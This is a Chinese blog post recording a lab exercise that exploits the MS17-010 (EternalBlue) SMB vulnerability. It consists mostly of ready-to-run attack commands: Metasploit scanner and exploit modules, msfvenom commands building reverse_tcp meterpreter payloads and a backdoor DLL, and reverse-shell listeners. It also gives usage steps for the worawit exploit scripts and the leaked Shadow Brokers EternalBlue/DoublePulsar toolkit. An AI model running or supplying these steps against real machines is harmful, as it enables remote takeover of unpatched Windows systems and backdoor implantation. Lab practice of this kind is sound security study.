一、前言
在复现一个靶场环境时发现 msf 自带的 ms17-010 模块不能成功拿到 meterpreter,自己尝试了 github 上的 exp,学长也介绍了NSA方程式工具。这篇随笔记录一下工具的使用过程和 msf 扫描、利用永恒之蓝漏洞的一些命令(NSA方程式工具好好用,稳的一匹)
二、msf扫描
扫描系统版本
use auxiliary/scanner/smb/smb_version set rhosts ip.ip.ip.ip run
扫描可能存在永恒之蓝漏洞的机器
use auxiliary/scanner/smb/smb_ms17_010 set rhosts ip.ip.ip.ip run
三、msf漏洞利用
设置监听
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 本地ip set lport 4444 exploit
漏洞攻击
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set rhosts 靶机ip
set lhost 本地ip
set lport 4444 run
四、MS17-010
工具下载地址 https://github.com/worawit/MS17-010
设置好监听,打开 shellcode 文件夹,执行如下命令(因为在实验过程中,此方法不是很稳定,有一定概率收不到 meterpreter,所以只做简单记录)
nasm -f bin eternalblue_kshellcode_x64.asm
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=本地ip LPORT=17010
cat eternalblue_kshellcode_x64 sc_x64_msf.bin > sc_x64.bin
回退到 MS17-010 文件夹,执行如下命令(如果挂代理,注意命令前加上 proxychains),msf 监听得到 meterpreter
python eternalblue_exploit7.py 目标ip ./shellcode/sc_x64.bin
五、NSA方程式工具
5.1环境配置
- python-2.6.msi https://www.python.org/download/releases/2.6/
- pywin32-212.win32-py2.6.exe https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
- 方程式工具包 https://github.com/misterch0c/shadowbroker
安装并配置好 python2.6 环境变量;使用默认设置安装 pywin32;在 shadowbroker 的 windows 目录下新建 logs 和 listeningports 文件夹,编辑 windows 文件夹中的 Fuzzbunch.xml 文件,修改 ResourcesDir 和 LogDir 路径为当前的 Resources 和 logs 路径,注释 fb.py 源码 72 行的 Listeningpost 相关部分
运行 fb.py,若出现以下的界面则安装成功
5.2msfvenom生成dll文件
msfvenom 生成 dll 文件并将其复制到方程式工具所在的攻击机上
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=本地ip LPORT=6666 -f dll > backdoor.dll
5.3获得meterpreter
设置监听
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 本地ip set lport 6666 exploit
运行 fb.py 设置攻击参数
注意重定向设置为 no,callback ip address 设置为 msf 监听 ip,其余选项多是默认设置
use eternalblue 加载永恒之蓝模块
选择目标系统类型,选择FB模式(该模式下进行交互性参数输入)
目标机权限获取成功
use Doublepulsar 加载双倍脉冲注入模块
设置相关参数,选择 SMB 协议、64 位系统
设置后门方法为 run dll,根据实际情况自定义 dll 路径
注入成功后显示 Doublepulsar Succeeded,同时 msf 获得 meterpreter
参考:
https://blog.csdn.net/weixin_38948797/article/details/79177880